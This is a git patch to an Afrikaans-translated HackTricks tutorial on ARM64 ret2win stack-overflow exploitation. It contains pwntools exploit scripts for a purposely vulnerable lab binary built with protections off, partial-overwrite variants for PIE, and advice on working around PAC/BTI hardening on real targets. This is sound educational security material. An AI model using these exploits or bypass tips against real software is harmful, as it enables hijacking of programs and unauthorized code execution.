From 4fa84f7adffda834c12e7030a2f73510cc285998 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 27 Aug 2025 02:33:39 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/stack-overflow/ret2win/ret2win-arm6 --- .../stack-overflow/ret2win/ret2win-arm64.md | 87 +++++++++++++++---- 1 file changed, 71 insertions(+), 16 deletions(-) diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index 4d656e0b7..93b333428 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -30,15 +30,27 @@ return 0; ``` Kompileer sonder pie en canary: ```bash -clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie +clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none ``` -## Vind die offset +- Die bykomende vlag `-mbranch-protection=none` skakel AArch64 Branch Protection (PAC/BTI) uit. As jou toolchain standaard PAC of BTI aktiveer, hou dit die laboratorium reproduseerbaar. Om te kontroleer of 'n saamgestelde binêre PAC/BTI gebruik, kan jy: +- Kyk na AArch64 GNU-eienskappe: +- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'` +- Inspekteer prologues/epilogues vir `paciasp`/`autiasp` (PAC) of vir `bti c` landing pads (BTI): +- `objdump -d ret2win | head -n 40` -### Patroon opsie +### AArch64 oproepkonvensie — kort feite -Hierdie voorbeeld is geskep met behulp van [**GEF**](https://github.com/bata24/gef): +- Die link register is `x30` (ook bekend as `lr`), en funksies stoor tipies `x29`/`x30` met `stp x29, x30, [sp, #-16]!` en herstel hulle met `ldp x29, x30, [sp], #16; ret`. +- Dit beteken die gestoor terugkeeradres lê by `sp+8` relatief tot die raambasis. Met 'n `char buffer[64]` onderin geplaas, is die gewone oorskryafstand tot die gestoor `x30` 64 (buffer) + 8 (gestoor x29) = 72 bytes — presies wat ons hieronder sal vind. +- Die stack pointer moet by funksiegrense 16‑byte gealigneer bly. As jy later ROP chains bou vir meer komplekse scenario's, behou die SP-alignment anders kan jy op funksie-epilogues vasloop. -Stat gdb met gef, skep patroon en gebruik dit: +## Bepaal die offset + +### Patroon-opsie + +Hierdie voorbeeld is geskep met [**GEF**](https://github.com/bata24/gef): + +Begin gdb met gef, skep 'n patroon en gebruik dit: ```bash gdb -q ./ret2win pattern create 200 @@ -46,7 +58,7 @@ run ```
-arm64 sal probeer om na die adres in die register x30 (wat gecompromitteer is) terug te keer, ons kan dit gebruik om die patroon offset te vind: +arm64 sal probeer terugkeer na die adres in die register x30 (wat gekompromitteer is), ons kan dit gebruik om die patroon-offset te vind: ```bash pattern search $x30 ``` @@ -54,9 +66,9 @@ pattern search $x30 **Die offset is 72 (9x48).** -### Stapel offset opsie +### Stack offset opsie -Begin deur die stapeladres te kry waar die pc-register gestoor is: +Begin deur die stack-adres te kry waar die pc register gestoor is: ```bash gdb -q ./ret2win b *vulnerable_function + 0xc @@ -65,7 +77,7 @@ info frame ```
-Stel nou 'n breekpunt in na die `read()` en gaan voort totdat die `read()` uitgevoer is en stel 'n patroon soos 13371337 in: +Stel nou 'n breakpoint na die `read()` en gebruik continue totdat die `read()` uitgevoer word, en stel 'n patroon soos 13371337: ``` b *vulnerable_function+28 c @@ -80,9 +92,9 @@ Dan: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
-## Geen PIE +## No PIE -### Gereeld +### Regulier Kry die adres van die **`win`** funksie: ```bash @@ -90,13 +102,15 @@ objdump -d ret2win | grep win ret2win: file format elf64-littleaarch64 00000000004006c4 : ``` -Eksploiteer: +Exploit: ```python from pwn import * # Configuration binary_name = './ret2win' p = process(binary_name) +# Optional but nice for AArch64 +context.arch = 'aarch64' # Prepare the payload offset = 72 @@ -114,7 +128,7 @@ p.close() ### Off-by-1 -Werklik is dit meer soos 'n off-by-2 in die gestoor PC in die stapel. In plaas daarvan om al die terugkeeradresse te oorskryf, gaan ons **slegs die laaste 2 bytes** met `0x06c4` oorskryf. +Eintlik gaan dit meer soos 'n off-by-2 wees in die PC wat in die stack gestoor is. In plaas daarvan om die hele return address te oorskryf, gaan ons **slegs die laaste 2 bytes** met `0x06c4` oorskryf. ```python from pwn import * @@ -136,16 +150,16 @@ p.close() ```
-Jy kan 'n ander off-by-one voorbeeld in ARM64 vind in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), wat 'n werklike off-by-**one** in 'n fiktiewe kwesbaarheid is. +Jy kan nog 'n off-by-one voorbeeld in ARM64 vind by [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), wat 'n werklike off-by-**one** is in 'n fiktiewe kwetsbaarheid. ## Met PIE > [!TIP] -> Compileer die binêre **sonder die `-no-pie` argument** +> Kompileer die binary **sonder die `-no-pie` argument** ### Off-by-2 -Sonder 'n leak weet ons nie die presiese adres van die wen-funksie nie, maar ons kan die offset van die funksie vanaf die binêre weet en, aangesien die terugadres wat ons oorskryf reeds na 'n naby adres wys, is dit moontlik om die offset na die wen-funksie (**0x7d4**) in hierdie geval te lek en net daardie offset te gebruik: +Sonder 'n leak weet ons nie die presiese address van die win function nie, maar ons kan die offset van die function binne die binary bepaal. Aangesien die return address wat ons overskryf reeds na 'n nabygeleë address wys, is dit moontlik om die offset na die win function (**0x7d4**) in hierdie geval te leak en net daardie offset te gebruik:
```python @@ -167,4 +181,45 @@ p.send(payload) print(p.recvline()) p.close() ``` +### Aantekeninge oor moderne AArch64-hardening (PAC/BTI) en ret2win + +- As die binary saamgestel is met AArch64 Branch Protection, kan jy `paciasp`/`autiasp` of `bti c` in funksie-prologues/epilogues sien. In daardie geval: +- Terugkeer na 'n adres wat nie 'n geldige BTI landing pad is nie, kan 'n `SIGILL` veroorsaak. Mik eerder op die presiese funksie-ingang wat `bti c` bevat. +- As PAC vir returns geaktiveer is, kan naïewe overwrite van return-adresse misluk omdat die epilogue `x30` autentikeer. Vir leerscenario's, herbou met `-mbranch-protection=none` (hierbo getoon). Wanneer jy regte teikens aanval, verkies nie-return kapings (bv. function pointer overwrites) of bou ROP wat nooit 'n `autiasp`/`ret` paar uitvoer wat jou vervalste LR autentikeer nie. +- Om kenmerke vinnig te kontroleer: +- `readelf --notes -W ./ret2win` en kyk vir `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notas. +- `objdump -d ./ret2win | head -n 40` en kyk vir `bti c`, `paciasp`, `autiasp`. + +### Running on non‑ARM64 hosts (qemu‑user quick tip) + +If you are on x86_64 but want to practice AArch64: +```bash +# Install qemu-user and AArch64 libs (Debian/Ubuntu) +sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross + +# Run the binary with the AArch64 loader environment +qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win + +# Debug with GDB (qemu-user gdbstub) +qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win & +# In another terminal +gdb-multiarch ./ret2win -ex 'target remote :1234' +``` +### Verwante HackTricks-bladsye + +- +{{#ref}} +../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md +{{#endref}} +- +{{#ref}} +../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md +{{#endref}} + + + +## Verwysings + +- Aktivering van PAC en BTI op AArch64 vir Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux +- Procedure-oproepstandaard vir die Arm 64-bit-argitektuur (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst {{#include ../../../banners/hacktricks-training.md}}